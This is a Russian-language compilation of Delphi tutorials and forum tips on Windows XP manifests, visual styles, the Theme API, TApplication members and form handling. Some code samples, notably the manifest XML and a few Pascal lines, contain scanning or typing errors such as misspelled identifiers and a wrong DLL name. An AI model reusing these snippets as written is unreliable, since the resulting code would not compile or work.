Обратите внимание, что в элементе

<dependency>
<dependentAss emblу>
<assemblyldentity>

описывается версия системной библиотеки, используемой приложением для отрисовки элементов управления.

При загрузке приложения операционная система Windows XP считывает манифест (если он есть) и получает информацию о том, что для выполнения приложения потребуется библиотека ComCtl32.dll версии 6.

Помимо этой информации манифест может содержать и другие необходимые сведения о приложении и условиях его работы. Например, общая информация о приложении и его версии представлены элементом

<AssemblyIdentity>.

Вы можете добавить манифест в ваше приложение двумя способами:

использовать компонент TxpManifest;
добавить манифест в ресурсы приложения вручную.


Компонент TXPManifest

На странице Win32 Палитры компонентов Delphi 7 имеется компонент TXPManifest. Будучи добавленным в проект, он обеспечивает компиляцию манифеста Windows XP в исполняемый файл приложения. В качестве основы используется стандартный манифест Delphi для Windows XP, содержащийся в файле ресурсов Delphi7\Lib\WindowsXP.res:

<assembly xmlns="urn:schemas-microsoft-com:asm.vl" manifestVersion="l.0">
<assemblyIdentity
  type="win32"
  name="DelphiApplication"
  version="3.2.0.0"
  processorArchitecture="*"/>
<dependency>
<dependentAssembly>
  Ossemblyldentity type="win32"
  name="Microsoft.Windows.Common-Controls"
  version="6.0.0.0"
  publicKeyToken="6595b64144ccfldf
  " language="*"
  processorArchitecture="*"/>
</dependentAs sembly>
</dependency>
</assembly>

К сожалению, версия профаммного продукта (ProductVersion), а также любая другая информация о версии, содержащаяся в проекте (файлы DOF и RES) и настраиваемая в диалоге Project Options среды разработки Delphi, никак не влияет на содержимое манифеста. Поэтому при настройке манифеста в соответствии с потребностями приложения вам придется предварительно отредактировать файл WindowsXP.res или поправить манифест прямо в исполняемом файле. (Ввиду частых перекомпиляций проекта второй вариант представляется довольно обременительным.)


Визуальные стили и темы оформления

Теперь давайте более подробно разберемся с визуальными стилями и их влиянием на пользовательский интерфейс приложений.

Начиная с операционной системы Widows 95 пользователям был доступен пакет обновления Microsoft Plus!, который позволял использовать темы оформления рабочего стола Windows. Темой называется совокупность настроек цветов, шрифтов, курсоров и прочих ресурсов, необходимых для создания унифицированного пользовательского интерфейса.

Все параметры одной темы сохраняются в файле с расширением theme в виде секций и значений, подобно файлам INI. Существующие темы доступны для выбора в системном диалоге Display Options.

Визуальные стили, интегрированные в Windows ХР, управляют внешним видом и поведением элементов управления. При этом визуальный стиль использует настройки параметров пользовательского интерфейса, заданные текущей темой. Для управления темами визуального стиля операционная система использует менеджер тем.

Визуальный стиль позволяет настраивать внешний вид элементов управления в целом и его составных частей. Правила и методы отрисовки сохраняются в файле с расширением mst, который входит в состав визуального стиля.

Совместно с Windows XP поставляется только один визуальный стиль, и он составляет приятное и свежее впечатление о пользовательском интерфейсе операционной системы.


Визуальные стили в Delphi

TActionManager является своего рода "командным пунктом", из которого должны управляться элементы управления приложения. Нас интересует только одно свойство этого компонента

property Style: TActionBarStyle;

По умолчанию среда разработки Delphi предлагает к использованию два стиля:

standard — приложение использует системную библиотеку ComCtl32.dll версии 5;
windows XP — приложение использует системную библиотеку ComCtl32.dll
версии 6 и единственный стандартный визуальный стиль Windows XP.

Эти стили применимы только к элементам управления, размещенным на панелях инструментов (TActionToolBar), созданных в компоненте

TActionManager.

Однако не торопитесь возмущаться явной ограниченностью выбора. Вы можете создать собственный стиль самостоятельно. Правда, это потребует очень много усилий — ведь на основе базовых классов элементов управления вам потребуется создать собственные классы с нужным вам поведением и внешним видом.

Для этого необходимо создать класс нового визуального стиля на основе класса TActionBarstyieEx. Затем новый стиль регистрируется при помощи процедуры

 procedure RegisterActnBarStyle(AStyle: TActionBarStyleEx);

После этого ваш стиль становится доступным для свойства style компонента TActionManager. Чтобы отменить стиль, используйте процедуру

procedure UnRegisterActnBarStyle(AStyle: TActionBarStyleEx);

Например, обе эти операции удобно выполнить при инициализации и деинициализации модуля, описывающего класс стиля:

Вариант регистрации и отмены собственного визуального стиля

var MyStyle: TMyStyleActionBars;
...
initialization
  MyStyle := TMyStyleActionBars.Create;
  RegisterActnBarStyle(MyStyle);
finalization
  UnregisterActnBarStyle(MyStyle);
  MyStyle.Free;
end.

Для смены стиля приложения можно использовать глобальную переменную нового стиля (см. листинг 6.3). Ее достаточно присвоить свойству style:

ActionManagerl.Style := MyStyle;

При смене стиля все элементы управления, расположенные на панелях компонента ActionManagerl, будут уничтожены и созданы заново с использованием настроек нового стиля.

Класс TActionBarstyieEx имеет всего несколько методов, которые необходимо перекрыть при создании собственного стиля. Все они возвращают классы объектов, используемых при создании пользовательского интерфейса. Рассмотрим их.

Функция

function GetStyleName: string;

возвращает имя стиля.

Функция

function GetColorMapClass(ActionBar: TCustomActionBar): TCustomColorMapClass;

позволяет получить ссылку на класс компонента настройки цветовой палитры (см. разд. "Компоненты настройки цветовой палитры" далее в этой главе), используемый панелью инструментов.

Следующие три метода дают информацию о классах различных типов элементов управления, используемых при проектировании пользовательского интерфейса с помощью компонента TActionManager.

Для того чтобы получить доступ к элементам управления, связанным со стилем, предназначен метод

function GetControlClass(ActionBar: TCustomActionBar; AnItem:
TActionClientltem): TCustomActionControlClass;

Он возвращает класс элемента управления из панели ActionBar, связанного с элементом управления Anitem. Именно эта функция вызывается при создании элементов управления в панелях инструментов компонента

TAct ionManager.

Как уже говорилось выше, при присвоении свойству style компонента TActionManager нового значения (экземпляра класса разработанного вами визуального стиля) уничтожаются все существующие элементы управления и затем создаются новые. И в процессе создания каждого визуального компонента вызывается функция Getcontrolciass нового стиля, а возвращенное ею значение используется для вызова конструктора соответствующего класса.

Аналогично, для получения класса, используемого в панели меню, применяется метод

function GetPopupClass(ActionBar: TCustorrActionBar) : TGetPopupClass;

и для классов кнопок панели инструментов применяется функция

function GetScrollBtnClass: TCustomToolScrollBtnClass;

А класс самой панели инструментов возвращает функция

function GetAddRemoveltemClass(ActionBar: TCustomActionBar): TCustomAddRemoveltemClass;

Итак, после разработки и отладки собственных классов элементов управления с заданными свойствами вам потребуется создать потомка от класса TActionBarstyieEx и перекрыть все перечисленные выше функции так, чтобы они возвращали нужные классы для используемых типов элементов управления.


Theme API

Помимо описанного способа создания и управления визуальными стилями разработчик может использовать функции Theme API, разработанные Microsoft для этих целей.

Для того чтобы использовать Theme API, можно стандартным способом подключить к проекту динамическую библиотеку Theme.dll:

var ThemeDLL: HINST;
...
begin
  ThemeDLL := LoadLibrary('theme.dll');
  if ThemeDLL <> 0 then
  begin
  ...
  end;
end;

Затем можно использовать возможности этого программного интерфейса напрямую. С деталями его реализации вы можете ознакомиться в документации Microsoft MSDN.

Однако можно поступить проще. В составе Delphi 7 имеется модуль Ux-Theme.pas, в котором как раз и реализованы возможности Theme API. Кроме этого, модуль Themes.pas содержит классы для основных элементов управления, которые могут использоваться при создании визуальных стилей, а также класс менеджера тем TThemeServices.

Так как детальное обсуждение возможностей Theme API выходит за рамки этой книги, в листинге 6.4 представлен схематичный пример использования функций этого программного интерфейса. Кроме того, как и все остальные API, работающие с GUI (Graphic User Interface) операционной системы, реальный код с использованием Theme API всегда перегружен многочисленными и ужасными на вид (а на самом деле вполне безобидными) функциями, рассчитывающими области вывода, неклиентские зоны оконных элементов и т. д.

Поэтому наш пример лишь показывает, как загрузить динамическую библиотеку theme.dll и получить ссылку на тему визуального стиля для текущего окна и кнопочного элемента управления.

Пример использования функций Theme API в Delphi

var DC: HOC;
    CurrentThemeData: HTHEME;
begin
  if UseThemes and InitThemeLibrary then
    try
      DC := GetWindowDC(Handle) ;
      try
        CurrentThemeData := OpenThemeData(0, 'button');
        CloseThemeData(CurrentThemeData);
      finally
        ReleaseDC(Handle, DC);
      end
    finally
      FreeThemeLibrary;
    end
  else
    ShowMessage('Приложение или операционная система не поддерживают использование Theme API');
end;

Функция

function UseThemes: Boolean;

проверяет способность операционной системы и приложения использовать Theme API.

Методы

function InitThemeLibrary: Boolean;
procedure FreeThemeLibrary;

соответственно инициализируют и выгружают библиотеку theme.dll.

Графический контекст ос наверняка понадобится при отрисовке элементов управления

Функция

OpenThemeData: function(hwnd: HWND; pszClassList: LPCWSTR): HTHEME; stdcall;

возвращает дескриптор темы для текущего визуального стиля и класса, имя которого представлено параметром pszdassList.

После того как тема загружена, можно использовать разнообразные графические функции, входящие в состав программного интерфейса.

При завершении работы не забудьте освободить занятые дескрипторы графического контекста и темы. Для темы используйте функцию

CloseThemeData: function(hTheme: HTHEME): HRESULT; stdcall;

Заинтересованный читатель найдет подробное описание нужных функций Theme API в Microsoft MSDN или же может полюбопытствовать содержимым модулей UxTheme.pas и Themes.pas.


Компоненты настройки цветовой палитры

Помимо создания собственных визуальных стилей, что является делом довольно трудоемким и хлопотным, вы можете изменить внешний вид пользовательского интерфейса приложения более легким способом. Впервые в составе Палитры компонентов Delphi 7 появились специализированные компоненты, позволяющие настраивать цветовую палитру всех возможных деталей пользовательского интерфейса одновременно. Эти компоненты расположены на странице Additional:

TstandardColorMap — по умолчанию настроен на стандартную цветовую палитру Windows;
TXPColorMap — по умолчанию настроен на стандартную цветовую палитру Windows XP;
TTwilightColorMap — по умолчанию настроен на стандартную полутоновую (черно-белую) палитру Windows.
Все они представляют собой контейнер, содержащий цвета для раскраски различных деталей элементов управления. Разработчику необходимо лишь настроить эту цветовую палитру и по мере необходимости подключать к пользовательскому интерфейсу приложения. Для этого снова используется компонент TActionManager.

Все панели инструментов (класс TActionToolBar), созданные в этом компоненте (см. гл. 8), имеют свойство

property ColorMap: TCustomActionBarColorMap;

в котором и задается необходимый компонент цветовой палитры. Сразу после подключения все элементы управления на такой панели инструментов перерисовываются в соответствии с цветами новой палитры.

Обратите внимание, что в компоненте TToolBar, перенесенном из Палитры компонентов на форму вручную, это свойство отсутствует.

Все компоненты настройки цветовой палитры имеют один метод-обработчик

property OnColorChange: TnotifyEvent;

который вызывается при изменении любого цвета палитры.


Как определить использует ли пользователь стили?

function _IsThemeActive: Boolean;
// Returns True if the user uses XP style
const
  themelib = 'uxtheme.dll';
type
  TIsThemeActive = function: BOOL; stdcall;
var
  IsThemeActive: TIsThemeActive;
  huxtheme: HINST;
begin
  Result := False;
  // Check if XP or later Version
  if (Win32Platform  = VER_PLATFORM_WIN32_NT) and
     (((Win32MajorVersion = 5) and (Win32MinorVersion >= 1)) or
      (Win32MajorVersion > 5)) then
  begin
    huxtheme := LoadLibrary(themelib);
    if huxtheme <> 0 then
    begin
      try
        IsThemeActive := GetProcAddress(huxtheme, 'IsThemeActive');
        Result := IsThemeActive;
      finally
       if huxtheme > 0 then
          FreeLibrary(huxtheme);
      end;
    end;
  end;
end;

// Example Call:

procedure TForm1.Button1Click(Sender: TObject);
begin
 if _IsThemeActive then
   ShowMessage('Windows Themes are active.');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить имя текщего стиля и имя цветовой схемы?

uses ComObj, SyncObjs;

var
  GetCurrentThemeName: function (pszThemeFileName: LPWSTR; cchMaxNameChars: Integer;
    pszColorBuff: LPWSTR; cchMaxColorChars: Integer; pszSizeBuff: LPWSTR;
    cchMaxSizeChars: Integer): HRESULT; stdcall;

procedure TForm1.Button1Click(Sender: TObject);
var
  FileName, ColorScheme, SizeName: WideString;
  hThemeLib: THandle;
begin
  try
    hThemeLib := LoadLibrary('uxtheme.dll');
    if hThemeLib > 0 then
      GetCurrentThemeName := GetProcAddress(hThemeLib, 'GetCurrentThemeName');
    if Assigned(GetCurrentThemeName) then
    begin
      SetLength(FileName, 255);
      SetLength(ColorScheme, 255);
      SetLength(SizeName, 255);
      OleCheck(GetCurrentThemeName(PWideChar(FileName), 255,
        PWideChar(ColorScheme), 255, PWideChar(SizeName), 255));
      // show the the theme path and file name.
      ShowMessage(PWideChar(FileName));
      // show the color scheme name
      ShowMessage(PWideChar(ColorScheme));
      // show the size name
      ShowMessage(PWideChar(SizeName));
    end;
  finally
    FreeLibrary(hThemeLib);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить сообщение об изменении видео стиля?

const
  WM_THEMECHANGED = $031A;

type
  TForm1 = class(TForm)
    {...}
  private
  public
    procedure WMTHEMECHANGED(var Msg: TMessage); message WM_THEMECHANGED;
  end;

{...}

implementation

{...}

procedure TForm1.WMTHEMECHANGED(var Msg: TMessage);
begin
  Label1.Caption := 'Theme changed';
  Msg.Result := 0;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


TApplication

Cодержание раздела:

Работа с TApplication
Восстановление минимизированного приложения
Как поместить окно програмы поверх всех?
Как скрыть своё приложение?
Как приложение оставить свёрнутым в иконку?
Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?
Замена Application.ProcessMessages New!
Как сворачивать все приложение при сворачивании неглавного окна? New!

См. также другие разделы:
Hints
TForm


Работа с TApplication

Эта статья взята мной из рассылки "СообЧА. Программирование на Delphi". К сожалению авторство не указано, но думаю многим будет интересно.

Класс TApplication, являющийся наследником класса TComponent, представляет собой фундаметальный класс, свойства и методы которого описывают основные характеристики Windows-приложения. Этот класс активно используется для выполнения специфических действий, зависящих от операционной системы.
Иерархия TObject – TPersistent – TComponent
Модуль Forms
В каждом приложении автоматически создается объект Application типа TApplication – приложение. Application имеет ряд свойств, методов, событий, характеризующих приложение в целом.
Собственные свойства класса TApplication.

property Active: Boolean;

Свойство возвращает значение true, если текущее приложение активно. При переходе к другому приложению или при завершении работы, свойство получает значение false. (Ro)

property AllowTesting: Boolean;

Свойство представляет информацию для IDE и может использоваться только самим приложением.

property BiDiKeyboard: string;

Свойство содержит название раскладки клавиатуры, используемой в ближневосточных языках.

property BiDiMode: TBiDiMode;

Свойство содержит указание на место размещения приложения при его выполнении в ближневосточных версиях Windows.

property CurrentHelpFile: string;

Свойство содержит имя текущего файла помощи, имеющего расширение .hlp. (Ro)

property : DialogHandle: HWnd;

Свойство обеспечивает доступ к механизму создания окон диалога, не использующих библиотеку VCL. Это свойство содержит дескриптор окна диалога, созваемого с помощью функции API CreateDialog.

property ExeName: string;

Свойство содержит полное имя файла, в котором находится программа, и полный путь к ней.

property Handle: HWnd;

Свойство содержит дескриптор программы, который используется операционной системой Windows.

property HelpFile: string;

Свойство содержит имя справочного файла, который используется по умолчанию, например, при отсутствии всей информации о справочном файле, указанном в свойстве CurrentHelpFile.

property Hint: string;

Свойство содержит строковое выражение, определяющее текст всплывающей подсказки.

property HintColor: TColor;

Свойство содержит значение цвета всплывающей подсказки.

property HintHidePause: integer;

Свойство содержит значение, указывающее на время в миллисекундах, через которое всплывающая подсказка будет скрыта.

property HintPause: integer;

Свойство содержит значение, указывающее на время в миллисекундах, в течение которого будет отображаться всплывающая подсказка.

property HintShowCuts: Boolean;

Свойство позволяет отображать во всплывающей подсказке "быстрые клаыиши". Если свойство имеет значение true, то комбинация клавиш отображается, если false – нет.

property HintShortPause: integer;

Свойство содержит значение, указывающее на время в миллисекундах, в течение которого будет отображаться всплывающая подсказка, если уже отображена другая всплывающая подсказка.

property Icon: TIcon;

Значок, который будет использоваться операционной системой для идентификации данного приложения.

property MainForm: TForm;

Свойство определяет главную форму приложения.

property NonBiDiKeyboard: string;

Свойство содержит название раскладки клавиатуры, которая должна использоваться, если текст читается слева направо. (Ro)

property ShowHint: Boolean;

Свойство определяет возможность появления всплывающих подсказок. Если свойство имеет значение true, то всплывающие подсказки появляются, если false – нет.

property ShowMainForm: Boolean;

Свойство определяет возможность отображения главной формы. Если свойство имеет значение true, то главной является форма, которая была главной при разработке. Если главной должна быть другая форма, то этому свойству необходимо присвоить значение false, а свойству MainForm – имя новой главной формы. Свойству Visible формы, которая была главной, необходимо присвоить значение false.

property Terminated: Boolean;

Свойство указывает на завершение работы приложения. Этому свойству присваивается значение true, если Windows посылает ему сообщение WM_QUIT, означающее, что приложение должно завершить работу. (Ro)

property Title: string;

Свойство содержит строковое выражение, являющееся заголовком приложения. Этот заголовок, например, отображается на кнопке панели задач Windows.

property UpdateFormatSetting: Boolean;

Свойство указыва5ет на возможность автоматического изменения формата при пользовательском изменении конфигурации опеарционной системы. Если свойство имеет значение true, то изменение выполняется автоматически.

property UpdateMetricSettings: Boolean;

Свойство указывает на возможность изменения шрифтов окна подсказки и заголовка значка.

procedure ActivateHint (CursorPos: TPoint);

Метод позволяет отобразить всплывающую подсказку в заданной точке CursorPos.

procedure BringToFront;

Метод позволяет переместить последнее из активных окон приложения на передний план.

procedure CancelHint;

Метод позволяет убрать всплывающую подсказку.

procedure ControlDestroyed (Control: TControl);

Метод предназначен для внутреннего использования и вызывается автоматически объектом типа TControl.

procedure CreateForm (FormClass: TformClass; var Reference);

Метод позволяет динамически создать новую форму FormClass. По умолчанию форма, созданная первым вызовом метода CreateForm, становится главной формой приложения.

procedure HandleExeption (Sender: TObject);

Метод предназначен для обработки исключений по умолчанию. Этот метод вызывается, когда в программе не был найден обработчик соответствующего исключения. Метод прерывает выполнение приложения и выдает информационное окно с описанием возникшей ошибки.

procedure HandleMessage;

Метод позволяет прервать выполнение приложения для обработки одного системного сообщения Windows, предоставляя системе возможность выполнять иные действия в ситуациях, когда в приложении выполняются длительные операции, например сложные вычмсления.

function HelpCommand (Command: Word; Data: LongInt): Boolean;

Метод позволяет выполнить быстрый доступ к любой из справочных команд в WinHelp API. Перед отправкой команды Command метод HelpCommand генерирует исключение OnHelp для активной формы или объекта TApplication. О возможных командах справки Windows можно узгать в справочной информации Windows по ключу WinHelp.

function HelpContext (Context: THelpContext): Boolean;

type THelpContext = -MaxLongInt..MaxLongInt;

Метод позволяет отобразить указанный раздел Context справочной системы. Если раздел был удачно отображен, то метод возвращает значение true.

function HelpJump (const JumpID: string): Boolean;

Метод позволяет отобразить указанный раздел JumpID справочной системы. Если раздел был удачно отображен, то метод возвращает значение true.

procedure HideHint;

Метод позволяет скрыть текущую всплывающую подсказку.

procedure HintMouseMessage (Control: TControl; var Message: TMessage);

Метод предназначен для внутреннего пользования и позволяет управлять расположением окна подсказки.

procedure HookMainWindow (Hook: TWindowHook);

type TWindowHook = function (var Message: Tmessage): Boolean of object;

Метод позволяет создать перехватчик системных сообщений.

procedure Initialize;

Метод позволяет инициализировать все подсистемы, определенные для данного приложения. Этот метод при загрузке проекта выполняется первым.

function IsRightToLeft: Boolean;

Метод возвращает значение true, если в приложении используется обход элементов управления в режиме справа налево.

function MessageBox (const Text, Caption: Pchar; Flags: LongInt): integer;

Метод позволяет создать стандартное окно диалога. Подробнее

procedure Minimize;

Метод позволяет свернуть все открытые окна приложения.

procedure NormalizeAllTopMosts;

Метод позволяет перевести все окна приложения из состояния "всегда поверх остальных окон" в нормальное состояние.

procedure NormalizeTopMosts;

Метод позволяет перевести все окна приложения за исключением главного окна из состояния "всегда поверх остальных окон" в нормальное состояние.

procedure ProcessMessages;

Метод позволяет прервать выполнение приложения для обработки всех системных сообщений Windows, стоящих в очереди. Этот метод позволяет выполнять системе иные действия в ситуациях, когда в приложении выполняются длительные операции, например, сложные вычисления.

procedure Restore;

Метод позволяет восстановить все свернутые окна приложения до нормального размера.

procedure RestoreTopMosts;

Метод позволяет восстановить все открытые окна приложения, находящиеся в нормальном состоянии, в состояние "поверх всех". Данный метод применим только к тем окнам, свойство FormStyle которых имеет значение fsStayOnTop.

procedure Run;

Метод предназначен для внутреннего использования и позволяет начать выполнение приложения. Этот метод вместе с методом инициализации (Initialize) и методом создания главной формы (CreateForm) автоматически записывается в основном блоке программы при создании ее заготовки.

procedure ShowExeption (E: Exeption);

Метод позволяет вывести информационное окно с сообщением, описывающим заданную исключительную ситуацию E.

procedure Terminate;

Метод позволяет завершить работу приложения.

function UpdateAction (Action TbasicAction): Boolean; reintroduce;

Метод позволяет генерировать событие OnActiveUpdate.

function UseRightToLeftAlignment: Boolean;

Метод возвращает значение true, если для выравнивания объектов используется режим ""права налево". Этот метод требуется для проверки приложений в ближневосточных версиях Windows, когда свойство BiDiMode имеет значение bdRightToLeft. Во всех остальных случаях метод возвращает значение false.

function UseRightToLeftReadinf: Boolean;

Метод возвращает значение true, если для вывода текстовой информации используется режим ""права налево". Этот метод требуется для проверки приложений в ближневосточных версиях Windows, когда свойство BiDiMode имеет значение bdRightToLeft. Во всех остальных случаях метод возвращает значение false.

procedure UnhookMainWindow (Hook: TwindowHook);

Метод позволяет удалить перехватчик системных сообщений Hook, созданный методом HookMainWindow.

function UseRightToLeftScrollBar: Boolean;

Метод возвращает значение true, если полосы прокрутки элементов управления должны отображаться с левой стороны. Этот метод используется для проверки приложений в ближневосточных версиях Windows, когда свойство BiDiMode имеет значение bdRightToLeft. Во всех остальных случаях метод возвращает значение false.

property OnActionExecute: TActionEvent;

Событие генерируется, если вызван, но не обработан метод Execute.

property OnActionUpdate: TActionEvent;

Событие генерируется, если вызван, но не обработан метод Update.

property OnActivate: TNotifyEvent;

Событие генерируется, когда приложение становится активным.

property OnDeactivate: TNotifyEvent;

Событие генерируется, когда приложение становится неактивным.

property OnException: TExceptionEvent;

type TExceptionEvent = procedure (Sender: TObject; E: Exception) of object;

Событие генерируется, когда в приложении возбуждается исключительная ситуация, которая не может быть программно обработана в блоке try…except.

property OnHelp: THelpEvent;

type THelpEvent = function (Command: Word; Data: LongInt; var CallHelp: Boolean): Boolean of object;

Событие генерируется, когда в приложении возникает запрос на получение справочной информации.

property OnHint: TNotifyEvent;

Событие генерируется, когда указатель мыши помещается на элемент управления, имеющий всплывающую подсказку.

property OnIdle: TIdleEvent;

type TIdleEvent = procedure (Sender: TObject; var Done: Boolean): of object;

Событие генерируется, когда приложение находится в режиме ожидания, не выполняя никаких действий. Например, ожидается ввод данных.
property OnMessage: TMessageEvent;

type TMessageEvent = procedure (var Msg: TMsg; var Handled: Boolean): of object;

Событие генерируется, когда приложение получает состемное сообщение от операционной системы.

property OnMinimize: TNotifyEvent;

Событие генерируется, когда окна приложения минимизируются.

property OnRestore: TNotifyEvent;

Событие генерируется, когда окна приложения восстанавливаются из свернутого приложения до нормального размера.

property OnShortCut: TShortCutEvent;

type TShortCutEvent = procedure (var Msg: TWMKey; var Handled: Boolean): of object;

Событие генерируется, когда пользователь нажимает на клавиатуре клавишу. Это событие генерируется первым из всех событий, связанных с обработкой нажатия клавиши: OnKeyDown, OnKeyPress и OnKeyUp.

property OnShowHint: TShowHintEvent;

type TShowHintEvent = procedure (var HintStr: string; var CanShow: Boolean; var HintInfo: THintInfo): of object;

Событие генерируется, когда приложение готовится вывести всплывающую подсказку. Параметр HintStr определяет текст подсказки, параметр CanShow – возможность отображения подсказки, а параметр HintInfo содержит информацию о внешнем виде и поведении окна справки.

Взято с Vingrad.ru http://forum.vingrad.ru


Восстановление минимизированного приложения

При минимизации формы я использую RxTrayIcon, чтобы при этом исчезла
кнопка из Панели задач вызываю ShowWindow(Application.Handle,SW_HIDE).
Но вот незадача - не получается при восстановлении приложения (после клика
на TrayIcon) добиться, чтобы оно становилось поверх других окон и обязательно было активным.

Дело оказалось в следующем : гасить Tray-иконку надо в последнюю очередь,
именно так все работает(ранее сначала гасил Tray-иконку, а уже потом восттанавливал свое приложение).
Таким образом правильно работает следующий код:

procedure TForm1.ApplicationMinimize(Sender : TObject);
begin
 RxTrayIcon1.Show;
 ShowWindow(Application.Handle,SW_HIDE);
end;

procedure TForm1.RxTrayIcon1Click(Sender: TObject; Button: TMouseButton;
         Shift: TShiftState; X, Y: Integer);
begin
 Application.Restore;
 SetForeGroundWindow(Application.MainForm.Handle);
 RxTrayIcon1.Hide;
end;

Авторы ответа: Song, Den
Взято с Vingrad.ru http://forum.vingrad.ru


Как поместить окно програмы поверх всех?

Если навсегда - то поставить у формы FormStyle свойство в fsStayonTop,
если надо чтобы просто программа была установлена в активное состояние (как будто кликнули на ней на таскбаре) - Application.BringtoFront

Кроме того можно играться API функцией ShowWindow передавая ей Form1.Handle, или Application.Handle и один из кучи параметров - посмотри на нее Help - там много вариантов.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как скрыть своё приложение?

Если Вы хотет, чтобы Ваша программа не появлялась на панели задач, но форма была видна, то воспользуйтесь следующей командой:

ShowWindow (Application.handle, SW_HIDE);

Данная команда в основном используется в приложениях, которае активируются через иконку в трее.

Взято из http://forum.sources.ru


Как приложение оставить свёрнутым в иконку?

Для этого необходимо обработать сообщение WMQUERYOPEN. Однако обработчик сообщения необходимо поместить в секции private - т.е. в объявлении TForm.

procedure WMQueryOpen(var Msg: TWMQueryOpen); message WM_QUERYOPEN;

Реализация будет выглядеть следующим образом:

procedure WMQueryOpen(var Msg: TWMQueryOpen);
begin
  Msg.Result := 0;
end;


Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?

Создайте процедуру, которая будет вызываться при событии Application.OnIdle.

Обьявим процедуру:

{Private declarations}
procedure IdleEventHandler(Sender: TObject; var Done: Boolean);

В разделе implementation опишем поцедуру:

procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);
begin
  {Do a small bit of work here}
  Done := false;
end;

В методе Form'ы OnCreate укажем что наша процедура вызывается на событии:

Application.OnIdle.Application.OnIdle := IdleEventHandler;

Событие OnIdle возникает один раз - когда приложение переходит в режим "безделья" (idle).
Если в обработчике переменной Done присвоить False событие будет вызываться
вновь и вновь, до тех пор пока приложение "бездельничает" и
переменной Done не присвоенно значение True.

Источник: http://www.vlata.com/delphi/
Автор: p0s0l


Замена Application.ProcessMessages

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Замена штатного Application.ProcessMessages

Хорошо использовать в DLL или бесформенных приложениях, если внутри цикла возникает необходимость в использовании Application.ProcessMessages.

Зависимости: Windows, Messages
Автор:       ssk, ucad@pisem.net, ICQ:166758074, Харьков
Copyright:   составлено из кусков кода Borland
Дата:        7 сентября 2004 г.
***************************************************** }

procedure ProcessMessagesEx;
  function IsKeyMsg(var Msg: TMsg): Boolean;
  const
    CN_BASE = $BC00;
  var
    Wnd: HWND;
  begin
    Result := False;
    with Msg do
      if (Message >= WM_KEYFIRST) and (Message <= WM_KEYLAST) then
        begin
          Wnd := GetCapture;
          if Wnd = 0 then
            begin
              Wnd := HWnd;
              if SendMessage(Wnd, CN_BASE + Message, WParam, LParam) <> 0 then
                Result := True;
            end
              else
                if (LongWord(GetWindowLong(Wnd, GWL_HINSTANCE)) = HInstance) then
                  if SendMessage(Wnd, CN_BASE + Message, WParam, LParam) <> 0 then
                    Result := True;
        end;
  end;

  function ProcessMessage(var Msg: TMsg): Boolean;
  begin
    Result := False;
    if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
      begin
        Result := True;
        if Msg.Message <> WM_QUIT then
          if not IsKeyMsg(Msg) then
            begin
              TranslateMessage(Msg);
              DispatchMessage(Msg);
            end;
      end;
  end;

var
 Msg: TMsg;
begin
 while ProcessMessage(Msg) do {loop};
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Как сворачивать все приложение при сворачивании неглавного окна?

private
Procedure WMSysCommand(var message: TWMSysCommand); message WM_SysCommand;

...

procedure Form2.WMSysCommand(var message: TWMSysCommand);
begin
 If message.CmdType = SC_MINIMIZE then
   Application.Minimize
 else
   Inherited;
End;

Теперь при сворачивании формы сворачиваеться все приложение.

Автор Alex
Взято с Vingrad.ru http://forum.vingrad.ru


TForm

Cодержание раздела:

Общие вопросы
· Как установить минимальный размер окна
· Как узнать, находится ли мышка на форме?
· Как сделать анимацию минимизации формы?
· Как иммитировать появление формы как нового приложения?
· Как поместить курсор мышки в нужное место на форме?
· Выводим цветной текст на форме под любым углом
· Как изменить оконную процедуру для TForm?
· Как среагировать на минимизацию-максимизацию формы перед тем как произойдет изменение?
· Мерцание формы
· Привлечение внимания к окну
· Как узнать форма активна или нет? New!
· Как сделать форму всегда позади всех окон? New!
· Наполовину активное окно New!

Создание, закрытие и вызов форм
· Рождение, жизнь и гибель формы.
· Как сделать, чтобы форма закрывалась при нажатии Esc?
· Как создать и вызвать модальную форму?
· Как использовать форму из DLL
· Можно ли динамически менять какая форма считается главной в приложении во время работы программы?
· Как сделать окно системно-модальным?
· Можно ли создать форму, которая получает дополнительные параметры в методе Сreate?
· В каком порядке происходят события при создании и показе окна?
· Необходимо, чтобы дочерняя форма не активизировала родительское окно
· Условие создания главной формы New!

Прозрачность формы
· Прозрачность в Delphi 6
· Как сделать прозрачное окно родными средствами Windows2000? Updated!

Прячем форму
· Как спрятать форму?
· Как спрятать окно при запуске приложения?

Формы нестандартного вида
· Как сделать чтобы окно было на весь экран?
· Как сделать форму без caption? Updated!
· Как создавать не квадратные формы и контролы?
· Как создать круглую форму?
· Как сделать дырку в окне?
· Как сделать roll-up форму?
· Как создать форму в форме элипса?
· Как сделать subform?
· Создание окон произвольной формы (Статья) New!

Манипуляции с заголовком формы
· Как скрыть кнопку [х] в заголовке окна?
· Изменяем заголовок окна
· Добавляем дополнительную кнопку в заголовок формы
· Как перехватить события в неклиентской области формы?
· Как изменить шрифт и выравнивание в заголовке формы?

MDI приложения
· Разработка MDI приложений в Delphi
· Как убрать заголовок в дочерней форме MDI?
· Фон MDI-окон Updated!
· Почему MDI Child форма при закрывании просто минимизируется Сколько открыто дочерних окон?
· Открытие MDI-окон определенного размера
· Проблема всплывающих подсказок в дочерних MDI-формах
· Меню дочерних MDI-форм
· Позиция дочерних MDI-окон
· Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов
· Придание MDI-формам большей трехмерности
· Модуль данных для каждого MDIChild
· Как спрятать окна MDI Child New!

Перемещение формы
· Как узнать, была ли перемещена форма?
· Как прикрепить свою форму к другому приложению?
· Липкие окошки
· Таскаем форму за её поверхность
· Как запретить перемещение формы?

См. также статьи в других разделах:
Как правильно работать с прозрачными окнами?
Как послать нажатие кнопки мыши в окно?
Как узнать, находится ли мышка на форме?
Как отследить выход мыши за пределы формы?
Сохранение TForm и ее свойств в BLOB-поле
Как с помощью API поместить Label на Form?
